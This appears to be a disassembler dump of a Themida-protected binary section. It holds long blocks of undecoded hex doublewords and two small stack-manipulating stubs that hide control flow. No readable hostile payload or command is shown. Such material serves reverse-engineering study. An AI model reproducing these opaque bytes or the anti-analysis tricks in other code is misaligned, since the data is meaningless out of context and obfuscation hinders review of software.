		dd 6A6106h, 0CFC1C381h,	6A6733h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 9C35646h, 251C06ECh, 0BC073C74h
		dd 1995FF9Bh, 6A06141Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 2AAC352h, 4DA06374h
		dd 1F8D7140h, 5E8h, 0F2ABE200h,	0BD89ED8Eh, 6140E31h, 788D8D5Bh
		dd 0BB0617A7h, 146828FEh, 1EEDBD8Bh, 0D1FF0614h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0E8C35343h, 66982142h
		dd 8905FFEBh, 14116D9Dh, 41BD2906h, 8306141Ch, 1401CDBDh
		dd 850F0106h, 68h, 6880Fh, 85290000h, 61415CDh,	0FE8026Ah
		dd 9F000000h, 0AF3DE51h, 0EFF72AFFh, 8B17B017h,	7EBF64A4h
		dd 5F6155AAh, 0D5BF6650h, 24048939h, 9ADBD23h, 95FF0614h
		dd 61433ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	33C35646h, 4309C6ADh, 0F859D2Bh, 0BD090614h, 6142B89h
		dd 0E0EE9h, 0E800h, 815D0000h, 189E02EDh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 5AF29FA5h, 783F6E59h, 7E8h, 0C9655000h, 5160886Ah, 14E95Bh
		dd 0FCF10000h, 0D1FD47A4h, 0BB3473DEh, 6F932CF6h, 630709A2h
		dd 858D3685h, 6178E49h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 28C35646h, 3453160h, 0F50909Eh, 1881h
		dd 0EE96000h, 50000000h, 929F8522h, 8289D57Fh, 59EBF81Fh
		dd 0F28B66FDh, 6A9061h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0A3BEF2C3h, 218D890Bh, 64061410h
		dd 35FFh, 13E80000h, 5D000000h,	0CA1999E4h, 1DE2AA83h
		dd 54B78827h, 7D49A113h, 9D09AA61h, 61415B1h, 2589645Bh
		dd 0
; ---------------------------------------------------------------------------
		mov	ebx, esi
		inc	dword ptr [ebp+6142DEDh]
		push	0
		push	ebp
		call	sub_5C7A9B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C7A9B	proc near		; CODE XREF: Themida_:005C7A93p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5C7A9B	endp

; ---------------------------------------------------------------------------
		db 51h
		dd 0D4D92EB3h, 8C0Fh, 0FF6A0000h, 255BD8Bh, 0B5FF0614h
		dd 6141C3Dh, 4D9D89h, 95FF0614h, 6142A89h, 115E9h, 0DBB70F00h
		dd 9D8B00B0h, 6140885h,	2B759D09h, 70E60614h, 28A0Fh, 0D98B0000h
		dd 0BD8971E4h, 614237Dh, 2691BD89h, 613C0614h, 0E4830Fh
		dd 8B0F0000h, 3, 0FFE8B66h, 0BAF5C8B6h,	6, 1A7D9D8Bh, 0C18B0614h
		dd 0C1DFBF0Fh, 816604E8h, 667356E7h, 0BDCCF381h, 0F8E2F766h
		dd 0F53C82Bh, 68Dh, 8D8D2900h, 5B061406h, 0BD8BD18Bh, 6140415h
		dd 17E9h, 12E900h, 0BEA90000h, 6343D128h, 0CE38AF21h, 71739193h
		dd 0C9A193DEh, 16B5858Bh, 0BD8B0614h, 6140515h,	5880Fh
		dd 81660000h, 83AEB7EBh, 0BF0F07C0h, 0C083FBh, 1EA59D8Bh
		dd 0D03B0614h, 0E830Fh,	8B660000h, 4CE9D8h, 0B5890000h
		dd 6141005h, 2AA58D8Bh,	0BD8B0614h, 6142011h, 0F01E183h
		dd 3184h, 0A5A58300h, 0FE06142Ah, 99D9D8Bh, 95890614h
		dd 61416B5h, 0EE960h, 0BF6E0000h, 439751B6h, 0B3A32609h
		dd 870BE740h, 5BDE8B57h, 0E961h, 0B58D0000h, 617FFF9h
		dd 2631B589h, 6A0614h, 0BEDBD29h, 95FF0614h, 6142971h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 5FC35040h
		dd 17860Fh, 0BE80000h, 25000000h, 0F94FEBD6h, 0A66A274Fh
		dd 9D8B207Ch, 614063Dh,	0B9FA8B5Bh, 841h, 11E9h, 8BC54700h
		dd 582FF72h, 21CED6CEh,	628077ACh, 0E1838FFCh, 52006AFCh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 462D05BBh, 0AE9FCh, 84B40000h, 7DB4CCABh, 232AF3FEh
		dd 8B66C02Bh, 6AD22BDAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 5B81C351h, 67EB8EE8h
		dd 11E9771Fh, 0C1000000h, 9FA94C80h, 0DEE24596h, 0CEBB2C5Eh
		dd 0CCE2736Ch, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 68C35040h, 0BD295B50h
		dd 614079Dh, 949B589h, 880D0614h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 5E0C350h, 1A840Fh, 0EE80000h, 0C8000000h, 0A4BFEC30h
		dd 43025398h, 0CC61C74Ah, 1D9589EAh, 5F061416h,	2B69958Bh
		dd 8D890614h, 6140015h,	10558D8Bh, 9D310614h, 6141C39h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 2A857FC3h, 7A10B225h, 6A9A83h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0E63DC7C3h, 7E8h, 66449200h
		dd 5FD54D9Fh, 790BBF66h, 4DBD835Fh, 6140Fh, 0A5840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 608CB0C3h, 1CF1BD01h, 9D090614h, 61424EDh, 97B0EB81h
		dd 0B849FBh, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 12F9C351h, 7C94919Ah
		dd 6696978Eh, 8D062CBBh, 144DFF8Dh, 13E906h, 59E20000h
		dd 0E6A1A6h, 725CFDE8h,	0D6F8C4BAh, 0E33DB2C0h,	6AE1FF69h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8922C352h, 141C1595h, 0C19D8B06h,	8306142Fh
		dd 14013DBDh, 840F0006h, 496h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 9FC35646h, 0FFFA6720h, 28ACE45Ah
		dd 6820FBFh, 8B000000h,	141B21BDh, 3DBD8306h, 1061401h
		dd 473840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 0D6AE59C3h, 1E07BE6Eh, 13E8h, 0BBAE2400h
		dd 0DA72BC90h, 8F30A108h, 0C515D8Dh, 782F5881h,	0F595660h
		dd 8Bh,	895F6100h, 14009585h, 3DBD8306h, 3061401h, 3E5860Fh
		dd 2EBF0000h, 6067BFA0h, 66D68B60h, 6661C88Bh, 6AD98Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 583948C3h, 2F90A4B7h, 8B988340h, 140429BDh, 4E18006h
		dd 0BE960h, 0A7AF0000h,	4ABE3BBBh, 0E4EFAF4h, 58D0F03h
		dd 0B9000000h, 2C93B8E9h, 0FC90A61h, 12F84h, 8D336000h
		dd 6140B1Dh, 0F432E181h, 8B6163A5h, 140E3585h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0A984524h, 0E7F23A96h, 8589EAEDh, 6140AB5h, 19159589h
		dd 85330614h, 61406A9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 1C35040h, 3E4D7E0Dh, 906AB315h, 9050F98Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 87C35545h
		dd 0AE45CA13h, 8E9F90Ah, 8000000h, 39BAF9F0h, 6A4DE27Ah
		dd 0DFBF0F00h, 4FD21368h, 9E956h, 677F0000h, 78DA42A3h
		dd 814CBA2Ah, 0D1EC2434h, 9E95650h, 0D9000000h,	0CA335B62h
		dd 922ECE5h, 95FFF98Bh,	614089Dh, 264CBF66h, 0A7EA8589h
		dd 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0CCA2D8C3h, 8BCA611Dh, 14197D9Dh,	1E4E906h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0D28A3FC3h, 0C5B89A43h, 0A7E2858Bh, 6A0617h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 5F9629C3h, 0D283A04h, 0EF5BD29h, 0C70614h, 18h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 16C35545h, 90FD5449h
		dd 8BC7382Eh, 1419F5BDh, 0E6B58B06h, 310617A7h,	140DCD9Dh
		dd 81858B06h, 89061402h, 14071D9Dh, 15BD8B06h, 89061423h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 2E32B993h, 0BF85FB8Ah, 2B000949h, 2498D89h
		dd 0BB660614h, 858B4B65h, 6140E35h, 0E9DBB70Fh,	0Ah, 0E14C5818h
		dd 48095D35h, 4689F0A1h, 6E904h, 0FBA20000h, 2B75C4BDh
		dd 24348950h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	0CBC35242h, 0B6272BDBh,	8958B449h, 141F319Dh, 0E2B5FF06h
		dd 680617A7h, 0BFE165FDh, 0EE8h, 4E9F1100h, 0AA42D399h
		dd 0B28C7AABh, 52363211h, 0E69CBF66h, 4815B5Fh,	3D9E0224h
		dd 0DCC78040h, 0A7EA858Dh, 8B660617h, 0BE850FEh, 6C000000h
		dd 19CA6F6Bh, 88B479E5h, 5250E01Ah, 20C797BBh, 5A310F4Eh
		dd 4895B58h, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 4677C2A0h, 9B5294Ch, 6006141Fh, 54B2CB8Ah
		dd 9D95FF61h, 6A061408h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 53A9C353h, 0F3DB81DDh
		dd 0E96C3BE3h, 0Eh, 0E28155Eh, 666E8EF5h, 0DED94891h, 0F615ACBh
		dd 68Ah, 6DB58900h, 0C7061411h,	14013D85h, 306h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0B823F3CDh, 6692CD4h, 418D89B7h, 8306141Ch
		dd 17A7EABDh, 840F0006h, 43h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0F2C35343h,	3DE9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 503E8E45h, 50F31BD1h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0BD2BC08Bh, 6143415h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 3FC35242h, 13DBD83h
		dd 0F030614h, 41585h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0DBFB80A6h, 83494FBBh
		dd 17A7EABDh, 840F0006h, 3E6h, 2E62BB66h, 0A7EAB5FFh, 12E90617h
		dd 36000000h, 439A5420h, 4F53CE2h, 57AC8118h, 6A39CA8Fh
		dd 0DE858h, 0ECCA0000h,	3E2865B9h, 5CAB744Ah, 0FF02560h
		dd 0FF5FDFB7h, 14033995h, 819D8906h, 8B061404h,	143479BDh
		dd 0DEB58B06h, 6A0617A7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 36E0C351h, 106C73Dh
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0B9A7C356h, 2587E1Eh, 2830F96h
		dd 8B000000h, 0DE850DEh, 69000000h, 0F5C9469Ah,	0EE16B46Fh
		dd 52D6FAACh, 49BF6657h, 965B5F95h, 3870Fh, 8B660000h
		dd 0EAB5FFFAh, 6A0617A7h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 78CC352h, 0E38ED0CCh
		dd 1A860Fh, 0EE80000h, 0DF000000h, 6CAAAD4Fh, 0BAACAECFh
		dd 804892FEh, 0B5BD8BCDh, 5B061424h, 108195FFh,	0B70F0614h
		dd 0DEB58BFBh, 0E90617A7h, 11h,	2864884Eh, 0E6C55807h
		dd 6F71B2ACh, 92F366F0h, 0F9858B6Bh, 2906140Fh,	142C2D95h
		dd 0C4868906h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 89B8C353h, 140CA9B5h
		dd 69958B06h, 6A06142Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0C4BDC351h,	0FCA92B75h
		dd 9F7ECF3Ch, 83F98B66h, 8B6604C2h, 0F8A0FDAh, 0E9000000h
		dd 0Ah,	20F6D7BFh, 0D46B2314h, 5089F971h, 50006A20h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0ADD61F80h, 0B46B24Bh, 1430CD9Dh, 0DFCF8106h, 8D333E11h
		dd 17BC2385h, 0C3816606h, 86890FC8h, 0B8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 12C35040h, 7C46A794h
		dd 50E21640h, 1AA1BD29h, 815F0614h, 0FDD259CFh,	0BF006A57h
		dd 3BFB3668h, 0A7EAB5FFh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 6653ACC3h, 0F2355BFh
		dd 78Bh, 0E3BB5000h, 5F6FD5B9h,	33AD95FFh, 6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 96F961C3h, 0F943BF66h, 0F2B16050h, 9E850h, 0EC830000h
		dd 6062BCA0h, 5A1AE1EBh, 0F96615Ah, 988h, 3890F00h, 0F000000h
		dd 0B5FFDBB7h, 617A7EAh, 95FFF9B3h, 6142309h, 2B599D8Bh
		dd 0BD830614h, 6141189h, 4D840F00h, 0E8000000h,	0Dh, 0A0572732h
		dd 0BCC7DFF1h, 0B3DCADBh, 0EE945h, 66B30000h, 97BE7E8Ch
		dd 0C51B13C6h, 920EAF07h, 0E860505Fh, 8, 4FC9308Bh, 94F02D77h
		dd 0C1F819B8h, 52505939h, 0D78B310Fh, 8961585Ah, 9D292434h
		dd 61417B5h, 0A7EAB5FFh, 9D8B0617h, 6141F1Dh, 2D595FFh
		dd 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 673DCEC3h, 52250A71h, 0B5FFA776h,	617A7EAh
		dd 10ADBD8Bh, 95FF0614h, 6140B75h, 112DBD83h, 0F020614h
		dd 6884h, 0B5296000h, 6140795h,	0F6BF0F60h, 2D39858Bh
		dd 61610614h, 55858Bh, 6A0614h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0D5784BC3h, 811994DCh
		dd 0C2B13AF7h, 0C612h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 5FC35242h, 89FC80E2h,	140C4D95h, 4985C706h
		dd 6141Eh, 0F000000h, 58Fh, 4C30BB00h, 1FE95381h, 51FFFFF3h
		dd 7719D89h, 8B5F0614h,	0B98501C1h, 8D06142Fh, 14079185h
		dd 0D7F38106h, 5012FAFEh, 0E42AE6BBh, 24048965h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9CC35545h, 0FE6D2A5Dh
		dd 44003263h, 6AF8DCh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 5FC35747h, 9E9h, 6BE33700h, 7DAFCC14h
		dd 6A18F7h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 15h,	5FC35040h, 0F3858D83h, 0F0618ADh, 68Dh,	119D8B00h
		dd 83061402h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 2C5C17C3h, 0E3E85691h, 9029C2AAh
		dd 78157FBFh, 0AE85078h, 3B000000h, 0B0E79F40h,	5B97F947h
		dd 38A0F56h, 66000000h,	905BD88Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0B9C35040h,	0A8FB0F25h, 6A7536h
		dd 42EF8166h, 6A006A8Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 86D6C356h, 8BC1AD84h
		dd 141B95BDh, 0F8BF6606h, 1995FFE6h, 106141Bh, 140085B5h
		dd 788D8D06h, 530617A7h, 5FFE8B66h, 0BD83D1FFh,	61401CDh
		dd 8C850F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6AFBC353h, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 9F39D93Dh, 81486926h, 0C59D337Ch, 0E906140Dh, 0Fh, 0A728CBAh
		dd 5DDCACF8h, 680D93EAh, 90D217F1h, 0BB50F4B3h,	21EFEE14h
		dd 61BD8B90h, 0FF06142Eh, 1433AD95h, 10E8F906h,	0C5000000h
		dd 66048BB7h, 204A22DFh, 0C465ED18h, 66AB825Dh,	0E95FDA8Bh
		dd 0E4Ah, 0E8h,	0ED815D00h, 618ADFDh, 9E960h, 4E7C0000h
		dd 5D826738h, 33E6EFE0h, 14121DBDh, 8A0F6106h, 6, 34658D89h
		dd 1500614h, 1425BDB5h,	858D5F06h, 6178E49h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 7BC35141h, 0E8ACA4D3h
		dd 60525050h, 58505850h, 0E9310F61h, 12h, 0EAB3E6Bh, 68503F56h
		dd 5DD4675Ah, 18A8CD2h,	585A4E1Ch, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0F9CFC352h, 0E1D9D5CFh, 0EE9h, 5D557200h, 1E191569h
		dd 3DD322DEh, 64B1329Ah, 35FFh,	81660000h, 64758BCBh, 2589h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 7D447FC3h, 1D8509CEh, 0FF06142Ch,	142DED85h
		dd 1DBD8B06h, 6A061430h, 0BF0F60FFh, 0B5FF61DEh, 61411C9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0C9C35242h, 0C6D41A14h, 0F8827802h, 8995FF74h
		dd 0E906142Ah, 152h, 86CB8166h,	8B00B02Eh, 140A5DBDh, 8170E606h
		dd 0EF89D9E3h, 6E91Dh, 0F0E10000h, 0D87ACF98h, 4CBB71E4h
		dd 3C4CC4CAh, 23830F61h, 0E9000001h, 0Fh, 0E0EF0A83h, 0FA6E9A01h
		dd 7E4A6820h, 0F3B0DECh, 820FC8B6h, 11h, 9E8h, 7742EE00h
		dd 143C73C6h, 5F57CAEFh, 6BA5Fh, 0BF0F0000h, 0C1C18BDAh
		dd 0F5004E8h, 80h, 0F7665B00h, 0F9BD89E2h, 2B061410h, 2830FC8h
		dd 0B3000000h, 759D8959h, 8B061426h, 0DE9D1h, 669D0000h
		dd 0FD793CC6h, 8E84A9E3h, 0E9B9CA0Fh, 28h, 0DE8h, 36ED7B00h
		dd 70937F60h, 0F7784DE8h, 9D89A2ADh, 614076Dh, 0AE95Bh
		dd 3DC40000h, 0B13CBE55h, 0AC4C15DAh, 9D5858Bh,	0C0830614h
		dd 0F7C78107h, 837F9B1Ch, 0F38100C0h, 785278DFh, 23B98D09h
		dd 0D03B0614h, 15830Fh,	9D8B0000h, 6140039h, 55E9h, 3820F00h
		dd 66000000h, 8BF5D98Bh, 140C718Dh, 14E906h, 0B1640000h
		dd 0FBF5BD72h, 0E233137Eh, 0DD76680Ch, 886F599Dh, 0E1836ACFh
		dd 23840F01h, 80000000h, 0A5838BF7h, 6140C71h, 0EB8166FEh
		dd 9589BA72h, 61409D5h,	30F1BD8Bh, 0EB800614h, 0E9BFh
		dd 0B58D0000h, 61809ACh, 6A006AFCh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1EA4C353h
		dd 234C1263h, 2A6DDEA3h, 299D89F5h, 0FF061420h,	14297195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 3ABAB064h, 0B980A58Eh, 802h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 17C35747h, 4A8DAA94h
		dd 83DE8BE1h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 80F0F9C3h, 0E6052AE5h, 1CB99D8Bh
		dd 0BF0F0614h, 0FC5F57FBh, 5D858960h, 8B061416h, 142DA99Dh
		dd 0C02B6106h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	69C35040h, 10A19D8Bh, 0EE90614h, 0D7000000h, 534BCC70h
		dd 0CA6C3767h, 0C709718h, 13E896h, 0D7650000h, 7F799EDCh
		dd 0FFED7AF2h, 797D1197h, 0D643AE5Ch, 618509E9h, 5F06141Ch
		dd 0BAh, 9E900h, 0C25F0000h, 33DC1A8Ch,	0AD894075h, 0E8D1C233h
		dd 0E983D003h, 81F47504h, 9D1271CFh, 57006A2Dh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 815DD816h
		dd 0CF5A17CBh, 880D79h,	0BB660000h, 0FE95494h, 8000000h
		dd 0C6DE9A91h, 0B5B248E4h, 0EC400B2h, 958B2119h, 6142B69h
		dd 8D8BD88Bh, 6141055h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 25C35545h, 0C810Fh, 7E90000h,	0DB000000h
		dd 0F6C1AA60h, 8B503D9Ah, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0EDC35545h, 89B7C780h, 142E8595h, 4DBD8306h, 6140Fh
		dd 5E840Fh, 0E0BB0000h,	0B84E8620h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C8E33
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C8E33	proc near		; CODE XREF: Themida_:005C8E2Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5C8E33	endp

; ---------------------------------------------------------------------------
		db 0E1h
		dd 0A6FA1CADh, 8DDFB70Fh, 144DFF8Dh, 14E806h, 0F8D10000h
		dd 0E912AE5Dh, 6E36434Eh, 3ED472DEh, 0BD568C5Eh, 8B0F52F1h
		dd 6, 31559D8Bh, 0FF5F0614h, 0D9BF0FE1h, 13DBD83h, 0F000614h
		dd 4DF84h, 4CF78100h, 83148810h, 14013DBDh, 840F0106h
		dd 4E7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	8AC35545h, 0E820BA96h, 0Bh, 0F0F798Eh, 3C36D145h
		dd 0E932D3C9h, 12h, 8AE2B9E3h, 0D6D5EA07h, 1FAABE1Bh, 7370850h
		dd 835F94F1h, 14013DBDh, 860F0306h, 45Dh, 2FADB589h, 9600614h
		dd 142C2585h, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0CCC35040h, 7E9E98Fh,	97000000h, 0BB4937BAh
		dd 0E180A9F5h, 0EF816604h, 0C90A7FBAh, 17F840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 88D87BC3h, 8BE0E4DEh, 1430E59Dh, 35858B06h, 6606140Eh
		dd 0FBBBFE8Bh, 33336127h, 1406A985h, 0EE89006h,	6000000h
		dd 0A20792B7h, 9C8AA9F1h, 8F0267B8h, 0FE8B66CFh, 6090505Fh
		dd 269BD31h, 0BF0F0614h, 8E861CFh, 0E7000000h, 0F9417674h
		dd 5754A8B9h, 820Fh, 5B5B0000h,	6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0EAA3CFC3h
		dd 0D3816679h, 4E8AFC0h, 0FF000000h, 66001F03h,	0BF50F98Bh
		dd 24D89CE2h, 424448Bh,	2FC5BF66h, 6660008Bh, 61046BB9h
		dd 4244489h, 2850Fh, 0D98B0000h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0E99D8B98h
		dd 0FF06140Dh, 14089D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 1C3C3B21h
		dd 0C95FB17Bh, 0B05BD8Bh, 85890614h, 617A7EAh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0FCC35343h, 242E9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E927CF5Bh, 12h,	9AB52A75h, 0ED5A6E3Ah
		dd 0FD3AA3DFh, 8F60A666h, 0F50FE3Dh, 8B5BFFBFh,	0E2858BDFh
		dd 6A0617A7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 36ECC350h, 0F75116A1h,	1800C7h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 6B29C3C3h, 0D1E7368Ah, 0A7E6B58Bh, 6A0617h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 16EE2C3h, 140C25BDh,	81858B06h, 0FC061402h, 0AE80689h
		dd 9000000h, 0D7E0F500h, 0F2963231h, 8E9CBh, 87B10000h
		dd 4CB8EB49h, 895F7741h, 1423E185h, 35858B06h, 5206140Eh
		dd 446895Bh, 0D98D8960h, 2B061434h, 1412498Dh, 66506106h
		dd 89BE2EBFh, 8B662434h, 0E2B5FFDEh, 6A0617A7h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0CE5FC352h, 32ECD508h, 81AC1283h, 2D1614D3h,	0E8DE8B76h
		dd 4, 1F03FFh, 0E850F98Bh, 0Fh,	0AA73342Bh, 8133C872h
		dd 3C47FD35h, 0BBB68668h, 5408F49Eh, 24448B5Bh,	0E434BF04h
		dd 8B6A13h, 0ECB86660h,	448961CBh, 6A580424h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 4053C353h, 9B64C947h, 0BB1A2F4Ah, 3ACAF404h,	1821BD31h
		dd 858D0614h, 617A7EAh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0FC35747h, 23C0EDB5h,	8185A177h, 0A73D7EEFh
		dd 8E0F9028h, 4, 0FE34BB66h, 0BE86050h,	0A3000000h, 0DAD80D83h
		dd 0FE940BE6h, 5250FCC4h, 585A310Fh, 106DBE5Eh,	90614871h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 66C35141h
		dd 0B9BD8BB6h, 0FC061419h, 89D95FFh, 6A0614h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 61E698C3h
		dd 0C7FFB70Fh, 14013D85h, 306h,	0EB816600h, 0BE95130h
		dd 3E000000h, 0B4A0F488h, 15E0DE1h, 0BD831568h,	617A7EAh
		dd 5E840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 5048C355h, 71CB0BFBh
		dd 0F895C9A6h, 4FE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0F2442EE4h, 9AD5C681h
		dd 0BE9DAh, 1E640000h, 352F2BA3h, 7E9DE03Bh, 0C30505Dh
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B1C35141h, 0D1DE7FB5h
		dd 664D6739h, 12E8F88Bh, 8F000000h, 0B1F8BD0h, 0CF9D635Fh
